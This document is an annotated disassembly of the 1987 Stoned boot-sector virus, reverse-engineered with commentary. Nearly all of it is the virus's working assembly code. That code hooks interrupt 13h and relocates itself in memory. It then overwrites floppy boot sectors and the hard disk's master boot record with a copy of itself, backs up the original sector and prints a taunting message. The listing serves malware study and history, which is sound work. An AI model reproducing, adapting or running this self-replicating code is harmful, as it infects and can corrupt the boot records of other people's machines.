
; Stoned

; original source code, 1987   http://en.wikipedia.org/wiki/Stoned_(computer_virus)
; reverse engineering done by Peter Kleissner

; www.vienna-stoned.com


; jump table!
; ..stores just segments and offsets (will be patched at runtime)
00000000  EA0500C007        jmp word 07C0h:Set_Code_Segment                     ; make a jump to set correct Code Segment
Set_Code_Segment:
00000005  E99900            jmp Stoned_Start                                    ; initial address of stoned boot virus
Hard_Disk_Infected:
00000008  00                db 0                                                ; 0 = not infected, 2 = hard disk infected
Int_13h_Offset:
00000009  5102              dw 0000h                                            ; offset of original Interrupt 13h handler
Int_13h_Segment:
0000000B  00C8              dw 0000h                                            ; segment of original Interrupt 13h handler
Relocated_Memory_Offset:
0000000D  E400              dw Relocated_Memory                                 ; offset of relocated memory (this is useful for compiling Stoned into multiple parts)
Relocated_Memory_Segment:
0000000F  809F              dw 0000h                                            ; patched dynamically
Original_Bootloader_Offset:
00000011  007C              dw 7C00h                                            ; recognizing that address ;)
Original_Bootloader_Segment:
00000013  0000              dw 0000h                                            ; never used



; Memory Table
;   0000h:7C00h     Stoned Bootloader will be loaded here by BIOS
;   XXXXh:0000h     Stoned will copy itself to there
;   XXXXh:0200h     Any original bootloader from floppy/hard disk will be read here to
; backups original bootloader from hard disk to logical sector 6
; backups original bootloader from floppys at logical sector 2, head 1 (which is a bug)




Interrupt_13h:

; Interrupt 13h Service (called by int 13h instruction)
; located somewhere at end of Real Mode memory

; store register and data segment - later passed to original interrupt handler
00000015  1E                push ds
00000016  50                push ax

; handle only Read/Write/Verify Sectors commands (make a range check of function number)
00000017  80FC02            cmp ah,2                                            ; < Read Sectors
0000001A  7217              jc Interrupt_13h_Forward_Original
0000001C  80FC04            cmp ah,4                                            ; > Verify Sectors
0000001F  7312              jnc Interrupt_13h_Forward_Original

; validate BIOS drive number (only handle floppy device 0, thus hard drives 80h+ will be skipped)
00000021  0AD2              or dl,dl
00000023  750E              jnz Interrupt_13h_Forward_Original

; acces to MEM 0040h:003Fh - DISKETTE - MOTOR STATUS
00000025  33C0              xor ax,ax
00000027  8ED8              mov ds,ax
00000029  A03F04            mov al,[043Fh]

0000002C  A801              test al,00000001b                                   ; diskette 0 motor on?
0000002E  7503              jnz Interrupt_13h_Forward_Original                  ; if yes do not operate (whyever)
00000030  E80700            call word Hook_Interrupt_13h                        ; hook the function call

Interrupt_13h_Forward_Original:

; restore registers and call original interrupt handler and forward
00000033  58                pop ax
00000034  1F                pop ds
00000035  2EFF2E0900        jmp word far [cs:Int_13h_Offset]



Hook_Interrupt_13h:

0000003A  53                push bx
0000003B  D15206            rcl word [bp+si+0x6],1
0000003E  56                push si
0000003F  57                push di
00000040  BE0400            mov si,4                                            ; 4 sectors in a loop to handle

Hook_Interrupt_13h_loop:

00000043  B80102            mov ax,0201h                                        ; function Read Sectors, 1 sector

; es:bx -> target data buffer, cs:0200h
00000046  0E                push cs
00000047  07                pop es
00000048  BB0002            mov bx,0200h

; read sector 1 = bootloader
0000004B  33C9              xor cx,cx
0000004D  8BD1              mov dx,cx
0000004F  41                inc cx                                              ; sector number 1

; call original interrupt 13h to read the sector
00000050  9C                pushfw
00000051  2EFF1E0900        call word far [cs:Int_13h_Offset]
00000056  730E              jnc Hook_Interrupt_13h_Load

; call original interrupt 13h to reset the disk system
00000058  33C0              xor ax,ax                                           ; Reset Disk System
0000005A  9C                pushfw
0000005B  2EFF1E0900        call word far [cs:Int_13h_Offset]

00000060  4E                dec si                                              ; zero?
00000061  75E0              jnz Hook_Interrupt_13h_loop
00000063  EB35              jmp Hook_Interrupt_13h_Exit                         ; otherwise finished

00000065  90                nop

Hook_Interrupt_13h_Load:

; set source (ds:si) to this relocated bootloader
00000066  33F6              xor si,si                                           ; starting at offset 0
00000068  BF0002            mov di,0200h                                        ; target = 0200h
0000006B  FC                cld
0000006C  0E                push cs
0000006D  1F                pop ds                                              ; ds = cs

; compare 4 bytes, if the bootloader is already infected!
0000006E  AD                lodsw                                               ; 1st word to compare
0000006F  3B05              cmp ax,[di]
00000071  7506              jnz Hook_Interrupt_13h_Not_Infected
00000073  AD                lodsw                                               ; 2nd word to compare
00000074  3B4502            cmp ax,[di+0x2]
00000077  7421              jz Hook_Interrupt_13h_Exit                          ; exit if already infected!

Hook_Interrupt_13h_Not_Infected:

; write a backup of the bootloader to sector 3, head 1
00000079  B80103            mov ax,0301h                                        ; function write sectors, 1 sector
0000007C  BB0002            mov bx,0200h                                        ; offset of data buffer
0000007F  B103              mov cl,3                                            ; sector 3 (backup)
00000081  B601              mov dh,1                                            ; head 1  => BUG

; call original interrupt 13h to write the sector
00000083  9C                pushfw
00000084  2EFF1E0900        call word far [cs:Int_13h_Offset]
00000089  720F              jc Hook_Interrupt_13h_Exit                          ; exit if error

; now replace the bootloader with Stoned
0000008B  B80103            mov ax,0301h                                        ; function write sectors, 1 sector
0000008E  33DB              xor bx,bx                                           ; data buffer
00000090  B101              mov cl,1                                            ; sector 1 = bootloader
00000092  33D2              xor dx,dx                                           ; floppy drive 0, head 0

; call original interrupt 13h
00000094  9C                pushfw
00000095  2EFF1E0900        call word [cs:Int_13h_Offset]


Hook_Interrupt_13h_Exit:

; restore all the registers and return
0000009A  5F                pop di
0000009B  5E                pop si
0000009C  07                pop es
0000009D  5A                pop dx
0000009E  59                pop cx
0000009F  5B                pop bx

000000A0  C3                ret







Stoned_Start:

; set data segment register
000000A1  33C0              xor ax,ax
000000A3  8ED8              mov ds,ax

; create a new stack
000000A5  FA                cli
000000A6  8ED0              mov ss,ax
000000A8  BC007C            mov sp,7C00h                                        ; thanks to the author - I'm doing the same (also setting stack to lower boot sector)
000000AB  FB                sti

; store (patch) Segment:Offset value of Interrupt 13h
000000AC  A14C00            mov ax,[13h * 4 + 0]                                ; Interrupt Vector 13h Offset
000000AF  A3097C            mov [Int_13h_Offset],ax
000000B2  A14E00            mov ax,[13h * 4 + 2]                                ; Interrupt Vector 13h Segment
000000B5  A30B7C            mov [Int_13h_Segment],ax

; allocate 2048 bytes memory from the end of real mode memory
000000B8  A11304            mov ax,[0x413]                                      ; MEM 0040h:0013h - BASE MEMORY SIZE IN KBYTES
000000BB  48                dec ax
000000BC  48                dec ax
000000BD  A31304            mov [0x413],ax

; * 1024 / 16 = Segment Size
000000C0  B106              mov cl,6                                            ; 6 bits left shift = * 64
000000C2  D3E0              shl ax,cl
000000C4  8EC0              mov es,ax
000000C6  A30F7C            mov [7C00h + Relocated_Memory_Segment],ax           ; store segment of relocated memory for later usage

; set new Interrupt 13h handler
000000C9  B81500            mov ax,Interrupt_13h
000000CC  A34C00            mov [13h * 4 + 0],ax                                ; Offset
000000CF  8C064E00          mov [13h * 4 + 2],es                                ; Segment

; now relocate this code to new allocated memory, where int 13h points to
000000D3  B9B801            mov cx,440                                          ; 440 bytes to copy (everything up to the Partition Table)
000000D6  0E                push cs
000000D7  1F                pop ds                                              ; from ds:si (code segment:0)
000000D8  33F6              xor si,si
000000DA  8BFE              mov di,si                                           ; to es:di (allocated memory:0)
000000DC  FC                cld
000000DD  F3A4              rep movsb                                           ; rep movsd would be faster, but wasn't invented that time ;)

; originally, this must have been multiple files compiled to one (this is also why we have the jump table with segments at the beginning)
; otherwise, nobody would write this crap ;)  (and it would make sense for 1980s development techniques)
000000DF  2EFF2E0D00        jmp word far [cs:Relocated_Memory_Offset]           ;  why not?


Relocated_Memory:
; hehe

; execute Reset Disk System
000000E4  B80000            mov ax,0
000000E7  CD13              int 13h

; set register for reading the bootloader
000000E9  33C0              xor ax,ax
000000EB  8EC0              mov es,ax                                           ; target segment = 0000h
000000ED  B80102            mov ax,0x201                                        ; function Read Sectors, 1 sector
000000F0  BB007C            mov bx,0x7C00                                       ; data buffer = 0000h:7C00h

; check if hard disk has already been infected
000000F3  2E803E080000      cmp [cs:Hard_Disk_Infected],byte 0
000000F9  740B              jz Attack_Floppy_Hard_Disk

; read original bootloader from hard disk and execute it
; if already infected, sector 7 contains the backup, so load & execute
000000FB  B90700            mov cx,7                                            ; sector 7, backup copy
000000FE  BA8000            mov dx,80h                                          ; first hard disk
00000101  CD13              int 13h

00000103  EB49              jmp short Stoned_Exit
00000105  90                nop



Attack_Floppy_Hard_Disk:

; now attack
;   - Floppy (first drive)        <- will be started later
;   - Hard Disk (first drive)

; load the original bootloader from the first floppy drive to 7C00h, will be executed later
00000106  B90300            mov cx,3                                            ; sector 3
00000109  BA0001            mov dx,0100h                                        ; first floppy, head 1
0000010C  CD13              int 13h
0000010E  723E              jc Stoned_Exit                                      ; if error, execute original bootloader

; display the message only if multiple of 440 ms time delay
00000110  26F6066C0407      test byte [es:046Ch],00000111b                      ; 0000h:046Ch = Timer ticks since midnight (updated every 55 milliseconds by BIOS)
00000116  7512              jnz Message_Output_Finished

; lets output "Your PC is now Stoned!"
00000118  BE8901            mov si,Stoned_Message
0000011B  0E                push cs
0000011C  1F                pop ds                                              ; ds:si = message

Message_Output_loop:
0000011D  AC                lodsb                                               ; next character
0000011E  0AC0              or al,al                                            ; zero?
00000120  7408              jz Message_Output_Finished
00000122  B40E              mov ah,0Eh                                          ; function teletype output
00000124  B700              mov bh,0                                            ; on first page
00000126  CD10              int 10h
00000128  EBF3              jmp short Message_Output_loop

Message_Output_Finished:


; read bootloader from hard disk
0000012A  0E                push cs
0000012B  07                pop es
0000012C  B80102            mov ax,0x201                                        ; function Read Sectors, 1 sector
0000012F  BB0002            mov bx,0x200                                        ; to address cs:0200h
00000132  B101              mov cl,0x1                                          ; sector 1
00000134  BA8000            mov dx,0x80                                         ; hard disk
00000137  CD13              int 13h
00000139  7213              jc Stoned_Exit

; check whether the hard disk is already infected
0000013B  0E                push cs
0000013C  1F                pop ds
0000013D  BE0002            mov si,0200h                                        ; source ds:si = cs:0200h (the read sector)
00000140  BF0000            mov di,0000h                                        ; compare against this bootloader
00000143  AD                lodsw                                               ; 1st word to compare
00000144  3B05              cmp ax,[di]
00000146  7511              jnz Hard_Disk_Not_Infected
00000148  AD                lodsw                                               ; 2nd word to compare
00000149  3B4502            cmp ax,[di+0x2]
0000014C  750B              jnz Hard_Disk_Not_Infected



Stoned_Exit:

; exit from Stoned, execute original bootloader

0000014E  2EC606080000      mov [cs:Hard_Disk_Infected],byte 0
00000154  2EFF2E1100        jmp word far [cs:Original_Bootloader_Offset]        ; exit to original bootloader..



Hard_Disk_Not_Infected:
00000159  2EC606080002      mov [cs:Hard_Disk_Infected],byte 2                  ; remember that hard disk has been infected (has no effect)

; write backup
0000015F  B80103            mov ax,0x301                                        ; function write sectors, 1 sector
00000162  BB0002            mov bx,0x200                                        ; data buffer
00000165  B90700            mov cx,7                                            ; backup copy
00000168  BA8000            mov dx,0x80                                         ; hard disk
0000016B  CD13              int 13h
0000016D  72DF              jc Stoned_Exit

; copy Partition Table
0000016F  0E                push cs
00000170  1F                pop ds                                              ; ds = cs
00000171  0E                push cs
00000172  07                pop es                                              ; es = cs
00000173  BEBE03            mov si,0x3BE                                        ; source = read sector
00000176  BFBE01            mov di,0x1BE                                        ; target = copy of this bootloader
00000179  B94202            mov cx,0x242                                        ; cl = 4 * 16 + 2   (4 Partition Table entries + Magic Number)
0000017C  F3A4              rep movsb

; infect the hard disk
0000017E  B80103            mov ax,0x301                                        ; function write sectors, 1 sector
00000181  33DB              xor bx,bx
00000183  FEC1              inc cl
00000185  CD13              int 13h

00000187  EBC5              jmp short Stoned_Exit



; Stoned message (7 = BEL, 13 = CF, 10 = LF)
Stoned_Message      db  7, "Your PC is now Stoned!", 7, 13, 10, 10, "LEGALISE MARIJUANA!", 0



times 512-($-$$) db 0

